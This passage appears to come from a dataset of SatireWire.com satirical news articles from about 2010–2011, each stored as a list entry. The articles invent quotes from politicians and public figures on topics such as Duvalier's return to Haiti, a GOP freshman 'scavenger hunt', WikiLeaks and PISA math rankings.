peaceful child,” the Queen remarked, rolling her eyes. “It’ll just be for a couple of months. Or maybe years. Five at most,” Obama continued. “We’ll come up with an exit strategy and everything.” “Yes that’s comforting,” the Queen replied. “Because your previous ones have been so accurate.” BOOMERANG COUNTRIES The U.S. is not the only twohundredsomething nation hoping to start over and return to the old homestead. The global recession has been hard on former colonies, so-called “Boomerang Countries” that have returned to the parental hand they once cast off. The reasons are not always financial. Heartbroken Sudan, which recently split up with itself, has asked to move back in with the U.K. to clear its head. Britain has also agreed to welcome Somalia, which has often found itself in trouble with international law, on the stipulation that it observes a curfew and stops hanging around with Rwanda. Clockwise from top: Iceland, Myanmar (Burma), Paraguay, Demcratic Republic of the Congo Elsewhere, volatile Montserrat, in the Caribbean, is living in France’s attic, bankrupt Iceland is going to night school for finance while staving off creditors in Denmark, and the Democratic Republic of the Congo, which left Belgium in a huff after becoming prematurely pregnant with the possibility of independence in 1960, is, for now, back home in Europe. While the financial and emotional advantages can be significant, prodigal nations that return often suffer in small ways. Since moving back in with the Netherlands last year, Myanmar and Suriname had to agree to go by their childhood monikers after being told, “I don’t care what you call yourselves, you’ll go by your given names, Burma and Dutch Guiana.” It is human nature, say geopolitical family therapists, for Mom and Dad to treat their own as the children they once were. Flash points on borrowing the car or bed time are inevitable. Only last week, Paraguay left Spain for the second time. The first was in 1811 after a fight over independence. The second, on Friday, was an argument over the TV clicker. Loss of self-esteem is another issue, one particularly noticeable for the U.S. which, at 235, is not exactly 17 anymore. Proud, impatient and arrogant, America had to swallow its pride to ask the U.K. for a place to live, and it has heard the taunts from former colonial siblings like India and Australia. Among them: “Land of the Free, Home of the Momma’s Boy,” and, “E Pluribus Mooch Off Em.” For now, however, America and Britain continue to struggle with the decision. Following their phone conversation, the U.S. reportedly apologized to Britain for leaving, and Her Majesty softened, particularly after America agreed to pay rent, stop getting into fights, and walk her Corgis 10 times a day. The U.S. also promised to cut down on its spending and “speak proper English,” at least around the house. However, the Queen’s husband, Prince Philip, has told reporters he is against America’s move. “They have black people, so… No,” he said. "], ['no-topic', 'DUVALIER WORRIED HAITI WILL RUN OUT OF PEOPLE TO REPRESS', "PORT-AU-PRINCE, Haiti (SatireWire.com) – Exiled dictator Jean-Claude “Baby Doc” Duvalier today finally explained the reason for his surprise return to Haiti, saying he wanted to get back to his ravaged homeland before there was no one there left to repress. 'Baby Doc' Duvalier (right) returns to Port-Au-Prince. Duvalier, who was forced into exile in 1986 after a brutal 15-year reign, arrived on Sunday, but said he originally considered returning after last year’s devastating earthquake. “When the earthquake happened, I was sad,” Duvalier recalled. “I thought to myself, ‘That is 300,000 people that I will never get to repress.’ Their loss is my loss.” But the recent cholera outbreak, which has killed a further 3,500, finally made him realize he was running out of time, and potential victims. “I said to myself, If I do not come home now, who will be left alive for me to torment?” he asked. “So you see, I want the death and destruction to stop as much as anyone.” Despite the political violence that permeated his regime, Duvalier still has supporters in Haiti, and was greeted by many of them at the Port-Au-Prince airport upon his arrival from France. On Monday evening he stood on a hotel balcony waving to a crowd of well-wishers. “It was wonderful to see so many people,” he said. “I was wonderful to hear so many screaming. “My name,” he added. Human rights groups have called for the Haitian government to arrest the 59-year-old strongman, whose appearance comes in the midst of a political leadership crisis. Duvalier was taken into police custody on Tuesday, but it was unknown at press time if he was being detained. But so far President Rene Preval has insisted prodigal dictator is not a threat. In fact, Duvalier praised the administration during a tour with Preval of the stricken countryside. “What you did with the earthquake was incredible,” Duvalier told Preval. “I never thought to use one of those.” “But the earthquake was a tragedy. The suffering has been incomparable,” Preval explained. “I know I know, don’t rub it in,” Duvalier replied. Although the former dictator reportedly has a return ticket to Paris for Jan. 20, many suspect he will stay and try to assume power. Following the tour, however, Haitian journalist Michele Ruchon said that was unlikely. “Duvalier has seen the situation and he must realize it cannot possibly get worse,” Ruchon said. “So really, there’s no incentive for him.” Previous Topic: ARIZONA ACCUSED OF ‘TRAGEDIZING’ POLITICS Next Topic: U.S. MAY MOVE BACK IN WITH PARENTS"], ['no-topic', 'ARIZONA ACCUSED OF ‘TRAGEDIZING’ POLITICS', "TUCSON, AZ (SatireWire.com) — Accusing the Arizona shootings of callously “tragedizing” politics, hundreds of media pundits gathered in this stricken city today in a vigil for shallow partisanship and angry rhetoric, which they said have been victimized by the horrific event. The left's Paul Begala and the right's Ann Coulter at the pundit vigil. Under increasing pressure not to be caustic and divisive, the commentators denounced the massacre for being the kind of tragedy that threatens their ability to be caustic and divisive. The pundits, hailing from major news outlets, radio networks and the blogosphere, assembled in a local high school gym. In a solemn procession, one after the other, they spoke of the devastating impact the tragedy. “Just a few short days ago, life was normal,” began conservative columnist Ann Coulter. “We hated. We provoked. We insinuated. We attacked those on the other side for what they did, for what they said, but mostly for being on the other side.” “But then came Jan.9,” continued MSNBC host Ed Schultz, who took the microphone from Coulter. “Within hours, many on the right blamed the left. Many on the left blamed the right. And many on the right blamed the left for blaming the right, which led to the left blaming the right for blaming the left for blaming the right. Things were, in other words, as they should be. Or so we thought.” “But this tragedy seems to be different,” added Fox host Sean Hannity. “Average people, middle Americans, don’t like that I constantly labeled the shooter a left-wing pothead who read Karl Marx.” “They don’t like that I tweeted ‘Mission Accomplished Sarah Palin,’” said Markos Moulitsas, founder of the left-wing Daily Kos. “They don’t like that I called the Tucson sheriff a fool for insinuating that spewing anger somehow incites people to anger,” said Rush Limbaugh. TOP: Left-wingers castigated Sarah Palin for her bullseye map that included Congresswoman Gifford's district. BOTTOM: Conservatives strike back, Photoshopping an image to make it look like liberals did the same thing to Congresswoman Giffords. “They don’t like that I took pot shots at Palin’s self-centered response to the tragedy,” noted Democratic strategist Paul Begala of CNN. “And they just generally don’t like me,” added Sarah Palin in a pre-recorded video. “And after President Obama gave his speech, which even most conservatives conceded was appropriate, they were unhappy that I stuck to my partisan guns and accused the White House of ‘branding’ the shooting, and of organizing the memorial as an Obama pep rally,” said right-wing columnist Michelle Malkin. “And I’m using ‘stuck to my guns’ as a metaphor, by the way.” “In the aftermath of this horrific event, our politics looks petty,” concluded Keith Olbermann. “And for that, for playing tragedy with our politics, this tragedy should be ashamed of itself.” Olbermann gave way to closing speaker Glenn Beck, who somberly approached the podium and addressed the gymnasium crowd, which he later estimated at 10 million. The Fox host began by lashing out at Arizona for hosting such a spontaneous, unpredictable event. “They had no idea this was going to happen, and that’s inexcusable. Events should be scripted. Then promoted heavily. Then televised,” said Beck, who used his “Restoring Honor” rally in August as an example. “These people aren’t even faking their emotions. They’re having real emotions. It is a dishonor to the noble art of pretending you have emotions.” As the crowd hushed, Beck then read out the names of the victims: “Hatred, acrimony, rancor, partisanship, name-calling, innuendo, rumor, violent metaphor, false equivalency, statistical distortion, guilt by association, random leaps of logic.” Beck wept openly as he spoke. Ed Schultz and Markos Moulitsas choked back tears. Rush Limbaugh choked on a handful of Oxycontin. In conclusion, Beck insisted that amid the pain and suffering, amid the public calls to tone down the rhetoric, there was still hope for a future without hope. “Today, dear colleagues, we came together as one, united in our disunion, to pray for bias, for name-calling, for distortion and false association and destructive vitriol – those things, so precious to us, that this tragedy has taken,” he said. “But before we leave this place, before we go forth and divide this nation once more, I want you to close your minds around this: People like Jared Loughner think they can destroy this great country. They cannot. Only we, my friends, can do that. Only we can do that.” "], ['no-topic', 'U.S. TO FORGET AFGHANS AHEAD OF 2014 SCHEDULE', 'KABUL, COUNTRY NEXT TO PAKISTAN (SatireWire.com) — Vice President Joe Biden today vowed America will not repeat past mistakes by abandoning Afghanistan after U.S. troops leave, but will instead begin to forget about the country now, well ahead of the 2014 withdrawal. President Karzai accepts the gift of an American made power vacuum from Vice President Biden. “One thing history has taught us is that if you go into a country, if you give weapons to its people and lead them in armed conflict, you cannot just turn your backs on them as soon as you leave,” Biden said in a meeting with Afghan President Hamid Karzai. “To avoid that, we’re going to begin forgetting now, three years ahead of time, so the people of… that place we’re talking about, can prepare themselves for not having us care.” Biden, who has met with Karzai before, began the meeting by introducing himself to the president, and then failing to find Afghanistan on a map. He said pre-abandoning the country would lessen the shock to its people, and diffuse the ensuing anger by spreading it out over a longer period of time. “Mr. Kazmir, the people of… oo, you’re testing me here… begins with an ‘A’… deserve no less from us after all they’ve been through. Which is… what, exactly? See, I’ve forgotten already.” Karzai appeared to be unhappy with the Vice President’s remarks, and noted that America had abandoned Afghanistan before, specifically after helping mujahadeen rebels fight off the 1980 Soviet invasion. “You gave guns to us to fight your enemy, then when the fighting was over, you left and ignored us,” Karzai said. “Our country was in ruins.” “What country was that?” Biden replied. Karzai went on to say that the void America left allowed the Taliban to come to power, and enabled al Qaeda to emerge. “I believe that will happen again,” he said. “OK, so you’ve got a plan. That’s terrific,” Biden answered. The two exchanged gifts at the end of their meeting. Karzai gave Biden a traditional Afghani hat, called a Pakol. In return, the Vice President gave Karzai an American-made power vacuum. '], ['no-topic', 'HOUSE TO READ ‘HARRY POTTER’ NEXT, THEN ‘VAGINA MONOLOGUES’', 'WASHINGTON, D.C. (SatireWire.com) – Exhilarated and inspired after reading the U.S. Constitution aloud on Thursday, the House of Representatives voted to recite the full Harry Potter series next, followed by The Vagina Monologues. Speaker John Boehner reacts to a passage from Harry Potter in which Harry’s parents are killed. “The Constitution was great, but it’s kind of short so not everyone got to read,” said House Majority leader Eric Cantor, one of 135 members who read aloud from the nation’s groundbreaking charter. “And since we didn’t plan to agree on anything this term anyway, we decided we could just continue reading to each other to pass the time.” “Reading to Congressmen is like reading to children,” added House Sergeant at Arms Bill Livingood. “It’s good for their development. It creates important bonding time. And it shuts them up for a while.” While the Constitution reading lasted about two hours, House members conceded that reciting novels and full-length plays will take up most of the winter session. But it does allow them to play on their strengths, explained Rep. Bob Goodlatte (R-VA.), who organized the Constitution event. “Today we read the entire Constitution — well, except for the scary slavery parts – and what we learned is these guys were good writers,” said Goodlatte. “We’re not. Honestly, have you read the text of the health care bill? But we do like speaking in public, so we’ll do what we do best.” As they did with the Constitution, both Republicans and Democrats will take turns reading aloud, although some members will get preferential treatment. House Speaker John Boehner, for instance, will not have to read any sad parts. On Friday members voted on which books to recite after excerpts from numerous contenders were read on the floor. Censured Rep. Charles Rangel, (D-NY), read from The Fugitive, (which was accepted), Rep. Dennis Kucinich, (D-OH), recited a chapter from the The Martian Chronicles, (accepted), and Rep. Michelle Bachmann, (R-MN), read from Goodnight Moon, (rejected). Reps. Goodlatte (left) and Hoyer admit they will use their reading to woo female voters. Eve Ensler’s play The Vagina Monologues was a surprise. The production is a funny, poignant and moving collection of monologues having to do with the vagina, and was meant to be performed by women. However, it was the bipartisan duet of Goodlatte and House Minority Whip Steny Hoyer (D-Md.) who won the audience over with an excerpt from a monolgue called, “My Angry Vagina.” Cantor: “You’ve got to convince my vagina, seduce my vagina, engage my vagina’s trust. That really speaks to me.” Hoyer: “If my vagina could talk, it would talk about itself, like me. It would talk about other vaginas. It would do vagina impressions.” “I think we’re really going to get to know each other better than we ever thought,” said former speaker Nancy Pelosi (D-CA) following Hoyer’s reading. “Boehner hugged me afterward. He had tears in his eyes, and kept saying, ‘Now I understand. Now I understand.’ We’re getting our nails done together on Wednesday.” Following Harry Potter and The Vagina Monologues, Goodlatte said the House will read Catcher in the Rye, The Satanic Verses, and Huckleberry Finn. “But not the scary slavery parts,” he added. '], ['no-topic', 'OBAMA PANTSED', 'WASHINGTON, D.C. (SatireWire.com) – President Obama was pantsed Tuesday by freshmen House Republicans as part of the time-honored scavenger hunt that marks the end of initiation week for new GOP representatives. “We’re taking Obama down, starting with his pants!” tweeted incoming Rep. Adam Kinzinger of Illinois, one of the GOP pledges sent on the mission. The President was ambushed on the South Lawn by four members of the GOP Class of 2011. (Image: iPhone) Obama, just returned from vacation and only a day before the new Congress convenes, was one of several victims of the biennial hunt, in which the incoming class is required to undertake a variety of tasks and challenges. Other targets included Supreme Court Justice Sonia Sotomayor, who was taunted until she gave the freshmen a pair of panties, and the city’s resident alien population, who were turned in to immigration authorities. After the hunt, the 87 new members were reportedly paddled by Newt Gringrich, then cemented their sacred bond by eating an endangered manatee and drinking from a goblet filled with John Boehner’s tears. But it was the pantsing of the President that garnered most of the attention. Witnesses say the President was walking across the South Lawn in the early evening when Kinzinger, along with classmates Kevin Yoder of Kansas and Reid Ribble of Wisconsin, jumped out of the bushes and pulled Obama’s trousers around his ankles. The President reportedly offered to compromise by pantsing himself, but the pranksters said they were under strict orders not to work with the administration. A fourth Representative, Ann Marie Buerkle of New York, snapped a photo with her iPhone and immediately posted it on Facebook as proof they had accomplished the task. “OMG we pantsed the Prez!” Buerkle posted on Twitter. “Gamma Omega Phi rules!” The White House refused to comment on the incident, or on the condition of Press Secretary Robert Gibbs, who was found duct-taped to his podium wearing an Ann Coulter mask. House Democrats, however, said the acts “bordered on hazing” and threatened to have the GOP House charter pulled. Incoming Speaker Boehner refused to acknowledge the existence of any ceremonies while at the same time declaring the initiation pranks a long-held tradition. “Honestly, people should quit whining,” said Boehner. “When I was a freshman in ’92, I had to go skinny dipping with (former House Speaker) Tip O’Neill. And I did. I’m not proud of it, but I did.” Boehner cites the memory as the motivation for his Speakership ambitions, and his random crying fits. According to sources, the 87 new members were given a long list of challenges late Tuesday, with the goal of collecting points for each task achieved (see list below). The points varied depending on the difficulty of the task. Taking down the President’s pants, for example, was worth 100 points, while treeing an atheist or a Prius owner (literally chasing them up a tree) was worth five. Getting a $5,000 donation from an oil company (1 point), and turning in potential illegal aliens (3-5 points each), were deemed to be the easiest tasks, while the most difficult missions were photographing Barney Frank and Rachel Maddow kissing (200 points), actually reading a Sarah Palin book (500 points), and finding Barack Obama’s Kenyan birth certificate (5,000 points). The winner, not known at press time, will become president of the freshman class. At least one Republican pledge, however, was not entirely pleased with the point system. Hispanic incomer Francisco “Quico” Canseco of Texas said it was irresponsible to award points for the roundup of illegal aliens. “I love my Republican brothers and sisters, but I think it is wrong to target one group for harassment, and therefore I refused to take part,” Canseco said. “So I treed a bunch of atheist vegans instead. One of ‘em was a gay union member. That’s 20 points. “Kaching!” Canseco added. Republican Senate freshmen took part in a more laid-back Satanic ritual. Republicans in the more conservative Senate, meanwhile, held a traditional Satanic ritual for their new members. This year’s Dark Master of Ceremonies was, once again, Karl Rove. Below is a list, obtained anonymously, of the tasks for the House Republican Class of 2011 Scavenger Hunt. [Point value in brackets]: Take down President Obama(‘s pants) [100] Panties from a Supreme Court justice. (Not Scalia!) [20] Memorize U.S. Constitution. [150] Find and turn in at least five illegal aliens (5 points each up to 100 aliens; 3 points each if they turn out to be legal) Photograph Barney Frank kissing Rachel Maddow. [200] Actually read Sarah Palin’s book. [500] Glenn Beck’s autograph [1] Find Nancy Pelosi, make her drink bottle of John Boehner’s tears [25] Get a $5,000 contribution from an oil or gas company. [1] Find five homeless veterans and tell them they don’t exist (no video evidence please) [10] Take a confession from a homosexual. [2] List all the Muslims in your constituency and give that list to police. [10] Find Obama’s Kenyan birth certificate. [5,000] Rent limo for welfare recipient, then photograph it. [25] Introduce bill banning San Francisco. [5] Reduce deficit by magic (ask Christine O’Donnell for help) [200 points if it works; 2 points if not] Convince 20 people George W. Bush was actually a Democrat [5] Tree a person with one of these traits [5 points each; must provide video evidence of treeing]: Poor Atheist Liberal Vegan Minority Tree hugger Anti-gun Prius owner Fur-hater Elitist Union member Opposed to offshore drilling Wearing Che Guevara T-shirt [NOTE: Tree one person with all 13 traits, jackpot! 1,000 points] '], ['no-topic', 'NATION’S BIRDS GROUNDED AFTER CRASH', 'ABOVE: Site of the Arkansas bird crash. BELOW: F-16s attempt to force two cranes to land. BEEBE, ARK (SatireWire.com) — The nation’s birds have been grounded pending an investigation into a massive blackbird crash in Arkansas over the weekend. As many as 5,000 blackbirds died when they plunged from the sky into the town of Beebe, Ark., late New Year’s Eve. While investigators have ruled out terrorism, they are still searching for clues and took the unprecedented step of grounding the country’s nearly six billion birds until the cause is known and, hopefully, addressed. “It’s a nightmare, admittedly,” conceded U.S. Fish and Wildlife spokesman Dean Thomas. “Birds outnumber Americans 20 to one, and we have birds on every surface right now – streets, parks, lakes, front lawns, my head. But until we know what caused the Arkansas tragedy, it’s not safe to let them go back up.” Stranded avians have been advised to find alternate transportation to get to their destinations. Bus lines and car rental agencies, however, say they are unable to help the birds, “because they are birds.” Due possibly to a language barrier, birds had ignored the flying ban until early Sunday, when two F-16 fighters were scrambled out of Lackland Air Force Base in Texas after radar picked up a pair of cranes violating the no-fly zone over San Antonio. Despite repeated pleas, the birds refused to land and were shot down for their own protection. Since then, the winged creatures have obeyed the ban, but found life on the ground difficult. Traffic signals, for instance, appear to confuse them, and reports abound of birds being run over by cars, trucks, and even pedestrians who are unable to avoid them. Increasingly noticeable is their persistent disregard for private property, personal space, and accepted forms of individual waste disposal. “It is eery to look up in the sky and not see a single bird,” said Tina Viego, a waitress in Middlesboro, Tenn. “But the fact that my shoes are now covered in bird shit kind of takes the mystery out of it all. ” Birdwatchers, however, were thrilled by the rare chance to see certain species up close. “In 40 years of searching, I had never seen a plain-capped Starthroat,” said amateur ornithologist Neville Fink, of Scottsdale, Ariz. “Today I stepped on two of them. Amazing.” While millions of birds fly into picture windows each year, they generally have a strong safety record and fatal mass crashes are rare, aviation experts say. In the Beebe disaster, bird debris was strewn over a two-kilometer area and there were no known survivors, making interviews impossible. Miraculously, no one was killed on the ground. The bird wreckage has been sent to government labs for analysis and officials have speculated the disaster may have been caused by hail, lightning, stress, or, because it was New Year’s Eve, alcohol. '], ['no-topic', 'FACEBOOK SURPASSES MASTURBATION', 'PALO ALTO, CAL. (SatireWire.com) – In yet another sign of its growing dominance, Facebook today announced it has surpassed masturbation as the world’s most popular way to kill 10 minutes. In response, Twitter claimed it has surpassed premature ejaculation as the most disappointing way to spend 5 seconds. Facebook’s claim comes on the heels of new studies estimating that humans squander, on average, an estimated 650 billion minutes a month masturbating. Facebook users, by comparison, idle away more than 700 billion minutes a month on the social networking giant, said company spokeswoman Gina LaBrega. “While our goals are the same, if you look at the numbers, our users spend more time on our service than most people spend on their own… service,” LaBrega said. “Of course we have 99 percent up-time, which masturbation can’t match.” The comparison, however, has angered some religious groups. “This is an entirely inappropriate benchmark,” said Christine Reed, head of Keep Your Hands Up, a pro-life, anti-onanist group. “We should not compare anything to acts of mindless, potentially addictive self-gratification that result in the wasteful destruction of what could have been a life. “And I could say the same thing about masturbation,” she added. The news coincides with the naming of Facebook CEO Mark Zuckerberg as Time magazine’s “Person of the Year.” LaBrega called the timing a coincidence, but industry observers speculate it may be part of Facebook’s long-rumored goal of supplanting masturbation itself as the ultimate distraction. “First th ere’s the Time cover, the way you can only see Zuckerberg’s face, not his hands, and he’s just staring off into space,” said TechCrunch editor Nelson Schable. “I think we all know that look. Or we’re lying if we say we don’t.” Then there is the onanistic terminology Facebook uses, Schable continued. “Some of it’s obvious, like how you can ‘tag yourself’ in photos, or ‘post your news on the wall.’ And look at Farmville, at some of the ribbons you try to win. I mean, ‘Knock on Wood?’ ‘Cream of the Crop?’ ‘Lord of the Plow?’ ‘Need for Seed?’ “Seriously? ‘Need for Seed?’ C’mon,” he added. LaBrega insisted that Facebook does not claim to be an alternative to masturbation, although she did concede that staring at your computer all day can make you go blind. In another response to Facebook’s claim, business networking site LinkedIn refused to make comparisons, but noted its CEO is named Jeff Weiner. '], ['no-topic', 'WIKILEAKS RELEASES BOEHNER’S NETFLIX ACCOUNT', 'WASHINGTON, D.C. (SatireWire.com) — Just days after his tearful 60 Minutes interview, a visibly upset House Minority Leader John Boehner today announced WikiLeaks has published details of his private Netflix account showing “Terms of Endearment” has still not shipped, despite him sending back “Something About Joey” nearly a month ago. The Capitol Building has already been renovated to accommodate the emotional incoming Speaker (inset) Surrounded by supportive colleagues, Boehner could barely speak as he haltingly discussed WikiLeaks release of sensitive material, and the heart-rending scene in which a dying Joey is given his brother’s trophy. “WikiLeaks has made America vulnerable, just like cancer made Joey vulnerable, just like the goodbye scene in ‘Free Willy’ makes me vulnerable,” said Boehner, expected to take over as Speaker of a very emotional House in January. “When that kid… when he and the whale have to… to say goodbye… oh God give me a minute.” After composing himself, the Ohio Republican vowed to crack down on WikiLeaks as soon as he sorted out his Netflix queue, which he described as a very important part of his life. “I used to go to the movies. I can’t even go to theaters anymore. It’s the stories. ‘Sophie’s Choice.’ ‘Bambi.’ All these people chasing the American dream. Netflix brings those to me,” he sobbed, eventually burying his head into the shoulder of House Minority Whip Eric Cantor. Boehner’s lachrymose side has been on display since the election, and most notably on Sunday when he broke into tears twice during an interview with CBS’ 60 Minutes. Democrats have begun to question his stability, but Republicans are standing behind their leader — often with tissues at the ready — saying his methods have already proven effective. At the White House, President Obama agreed, revealing that his recent compromise with Republicans was primarily an effort to placate Boehner, who “fell apart” during a meeting in which the President said he wanted to raises taxes on the wealthiest Americans. “My first mistake was going to the Republican Caucus on a Thursday, which, I learned, is chick-flick night,” Obama recalled. “So they’re all an emotional mess by the time I get there. Then as soon as I mention taxes, Boehner says we’ll be hurting small business, people who chase the American dream, like he did, like George Bailey did, and that was it. He just lost it.” Witnesses say other GOP leaders lit into Obama, calling him “insensitive” and “heartless.” Senate Majority Leader Mitch McConnell reportedly compared the President to “that horrible Cal in ‘Titanic,’” then slapped him in the face. As a peace offering, the President bought Boehner a copy of “The English Patient” and agreed to extend the Bush tax cuts. “It’s no secret I’m a sucker for a strong woman,” Obama said of Boehner. According to WikiLeaks, the next three films in Boehner’s Netflix queue are “Ghost,” “Lorenzo’s Oil,” and “E.T.” '], ['no-topic', 'TIRED OF FAVRE, GOD COLLAPSES METRODOME', "“Will this act of God save Brett Favre’s streak of starting 297 consecutive games?” — TIME “Brett Favre: is the Metrodome Collapse a blessing?” — Bleacher Report MINNEAPOLIS, MINN. (SatireWire.com) – Declaring He’s “about had it up to here,” a frustrated God said today the collapse of the Metrodome roof on Sunday was not a blessing in disguise for Brett Favre, but a rather obvious message, He thought, to the injured Vikings quarterback to quit. The Metrodome collapsed due to snow and God's frustration. “I keep hearing these questions, ‘Is it actually a blessing? Is it a sign God wants Favre to heal so he can keep playing?’” said the Almighty of the record-setting snowstorm he visited upon Minneapolis. “Seriously, what kind of interpretation is that? “I collapsed the roof. I made the place unplayable. That’s a bad sign, right? B.A.D. Honestly, what are you people on?” The 41-year-old Favre was injured last weekend, threatening his longevity record of 297 consecutive starts, which God called “about 50 starts too long.” It was believed the three-time MVP might not play against the New York Giants on Sunday, but due to the collapse, the NFL moved the game to Detroit on Monday. This did not sit well with the Lord, either. “Look, I could have brought that (roof) down when Favre was on the field, but I didn’t because a lot of innocent people would have died,” He explained. “So to humanity I say: I did you a solid, you do me a solid. Get rid of him.” The Vikings said they would repair the roof and hope to have it ready for next Sunday, which God labeled “just confounding.” “The guy’s thrown more bad passes than Adam on his first date,” He said. ” Why would they fix it so he can play again? I’m giving them an excuse here.” Particularly galling, said God, are Favre’s annual retirement and un-retirement announcements, during which the three-time MVP inevitably invokes His name. “He says he prays about it, and that’s true,” God said. “But you want to know what those conversations are like? They’re like: Him: Lord, I need to know if I should keep playing. Me: No. Him: Maybe you want me to go another year. Me: No. Him: I suppose I can play one more season. Me: No. Him: Probably you’re busy, but if you could give me a sign… Me: What are you, deaf?” “It’s like banging your head against a wall. Maybe I overdid the concussions.” God compared Favre to Moses, who also had listening issues. “I treated him like Moses,” the Lord said. “I sent him to wander in the wilderness. I sent him to the New York Jets. But he still didn’t get it.” God refused to say what His next move would be, but admitted He may give up trying. “In the last two years, the most popular prayer I hear is, ‘God Almighty, when is this (expletive) gonna quit?’” God said. “So I try to answer that prayer, and you geniuses figure I want him to keep playing. “Look, it’s like this,” he said. ““Favre is 41. Jesus retired at 33. Who the hell does he think he is?” UPDATE: Brett Favre’s streak ended Monday after he was declared inactive by the Minnesota Vikings. God immediately released a one-word written statement: “Sweet.” "], ['no-topic', 'ASSANGE REGRETS LEAKING PRISON BREAKOUT PLAN', 'LONDON (SatireWire.com) – WikiLeaks founder Julian Assange was in the hospital wing of Wandsworth Prison today after being unable to keep himself from divulging details of a planned breakout by fellow inmates. Assange was reportedly beaten by his three cellmates for leaking details of the plan, which was written on 42,000 partially redacted sheets of toilet paper. Assange is now banned from the computer room at Wandsworth Prison (inset). According to the warden, Governor David Taylor, Assange “obtained” and scanned the 42,000 sheets into a computer and published them over Wandsworth’s intranet. He claimed to have been given a further 31,000 sheets with information about other prison activity, but is apparently saving those to bargain for his release. Taylor said once the breakout plan was leaked, he visited Assange in his cell, which he shared with three other inmates. “I asked him if he put the information out, and he confessed quite proudly,” Taylor recalled. “And then he pointed to his cellmates and said, ‘Also, that one’s got a shiv under his mattress, that one’s buying drugs from the guards, and this one’s committed two murders you don’t know about.” His shocked cellmates reportedly glared at Assange, who replied, “Sorry. I can’t help myself.” Gerard Tugby, one of the cellmates accused of the beating, said he had words with Assange shortly after the warden left. “I asked him why he did it, and he said, ‘Information should be free,’” Tugby related. “I told him I needed to be feckin’ free, and he said I should have thought about that before and distributed myself across several proxy servers.” “He did feel bad after,” Tugby added. “He even offered to upload me to a mainframe in Switzerland, which was sweet.” Another of the accused, inmate Russell Bell, said prisoners initially liked Assange, who is in Wandsworth awaiting an extradition hearing to Sweden. “He’s anti-authority, like us, so we figure he’s one of us and we take to him right off,” said Bell. “I mean that in a good way, mind you.” According to Bell, Assange was not only told of the escape, but even suggested improvements. “But it involved us all breaking out from different prisons in different countries, so we’d be harder to track,” Bell said. “Julian got a bit frustrated when we told him that weren’t possible.” Assange later leaked the plans, which upset the inmates for more reasons than one, Tugby noted. “We’re angry because he grassed us up (turned informant), but it hurt too because to us he was like a rock star, like David Bowie. He even looks like David Bowie,” Tugby explained. “Unfortunately for him he also takes a punch like David Bowie.” Assange suffered broken ribs and facial lacerations, but is already feeling better, Taylor reported. “In fact a few minutes ago he threatened to expose the entire C Wing if I didn’t release him,” the warden said. “He’s quite bright, but not much of a negotiator.” '], ['no-topic', 'RANKED 25th IN WORLD IN MATH, U.S. STUDENTS GLAD TO “BE IN TOP 10″', 'VIENNA, AUSTRIA (SatireWire.com) – A key academic assessment released today ranked America’s high schoolers 25th in the world in math, a showing that pleased U.S. students who figure that at least keeps them in the top 1O. “This is awesome,” said San Antonio high school junior Keegan Russell as he looked over the results. “By my count, you’ve only got China at 1, Finland at 2, and Latvia at 33, ahead of us.” The exam, given in 2009 by the Vienna-based Program for International Student Assessment, tested 470,000 students in 65 countries in math, reading, and science. Aside from math, the U.S. ranked 14th in reading, and 17th in science, numbers that alarmed U.S. educators. “The results are extraordinarily challenging to us and we have to deal with the brutal truth,” said U.S. Education Secretary Arne Duncan. “”This is an absolute wake-up call for America.” “Yeah wake up America, your kids are the shizz!” said Brendan Halerty, a sophomore in Las Vegas. “That’s the truth. Brutal.” President Obama, who has long criticized the decline in U.S. academic standards, said the results show America is at serious risk of falling behind China and the rest of the world. Students, however, say they don’t understand the pessimism. “OK, this year we finished at number 25, and last time we finished 26th, so we fell five places, but we’re still really strong,” said Florida 10th grader Samantha Wenger. “I know the President is better at math than me, ‘cause he can reduce a deficit by adding to it, but honestly, lighten up.” As for the other test scores, students conceded their generation has some work to do. “We got ranked 17th in science, but that’s a prime number, or a negative number, so I can’t talk about that because we haven’t covered those yet,” Wenger said. “But in reading we came in 14th, so we’re next-to-last out of 65, which is bad.” Halerty, however, pointed out that the PISA test, while considered “standardized,” was in fact weighted against U.S. students. “If you think about it, this really isn’t a fair comparison,” he said. “Like the Chinese students, they took the test in Chinese. We had to take it in English. Way harder.” '], ['no-topic', '‘ISH’ FROM ENGLISH SECRETLY REPLACED BY ‘ISH’ FROM SPANISH', 'PHOENIX, AZ (SatireWire.com) — The ‘ish’ in the word English has been secretly replaced by the ‘ish’ from the word Spanish, according to anti-immigration groups who claim it is part of the “relentless campaign to de-Anglicize America.” \'Ish First America\' rallies sprung up across the nation. Hispanic groups immediately denied the allegation, although they refused to comment on recent reports of widespread back-slapping and snickering in Spanish-speaking communities. But self-proclaimed “Ishers” weren’t buying the denials. “They’ve taken over half of the word English just like they’ve taken over half of this country,” said Ish First America founder Richard Oberlin, who refused to explain how the 3-letter ‘ish’ can be half of the seven-letter word ‘English.’ “Using the ‘ish’ from Spanish, which looks and sounds so much like our own ‘ish,’ that’s the way you infiltrate a country. From within.” Janice Tuckerell, a St. Paul, Minn.-based Isher, said the change has been long coming. “They’ve been preparing us for a while, combining their words with ours, like Taco and Bell. Or Frito and Lay,” said Tuckerell. “Now they’ve taken half of English. Next it’ll be the whole word. We’ll be speaking English, but we’ll call it Spanish, and no one will even notice.” Just what to do about the alleged syllabic theft is a hot topic in Isher circles. Arizona Gov. Jan Brewer today proposed a Constitutional amendment declaring that the ‘ish’ is an English ‘ish’ and not the Spanish ‘ish’. “Either that or we just call it ‘Engl’ so that it’s clear that our nation’s language is not in any way Spanish,” she said. Former Alaska Gov. Sarah Palin, speaking this morning at a spontaneous, grass-roots Isher rally heavily promoted on Fox News, agreed. “You know what? They can keep their gosh-darned ‘ish.’ We don’t want it!” Palin said to cheers of “Yes!”, “¡Si!”, and “¡Por favor, pulse mis cajones!” “We’ll keep our good-old ‘Engl’ that was made right here in the U.S. of A,” she added. In actuality the ‘Engl’ root of the word English is derived from the name of the Germanic tribe, the Angles, who settled in Britain in the 5th Century. It is widely considered the third most commonly spoken language on Earth. While some support Palin’s call for renaming the language ‘Engl,’ commentator Lou Dobbs believes Americans should stand and fight. "Liberals are trying to get the DREAM Act through Congress, but this is their real dream," Beck told his viewers. “The majority of people in this country – for now — still speak English,” said Dobbs. “I don’t think we should change anything. Hispanics should be the ones to lose their ‘ish’. They should speak Span. In fact that’s what I’m going to call their language from now on: Span. The use of ‘ish’ should only go to people born in this country.” For Ishers like Glenn Beck, the consequences are dire. “There was a time in this great country – before Obama and Pelosi and microwave ovens and child labor laws — when we all spoke English, and we were just so, so proud of that,” a tearful Beck told his television audience today. “Well America, the sad truth is that we’ve 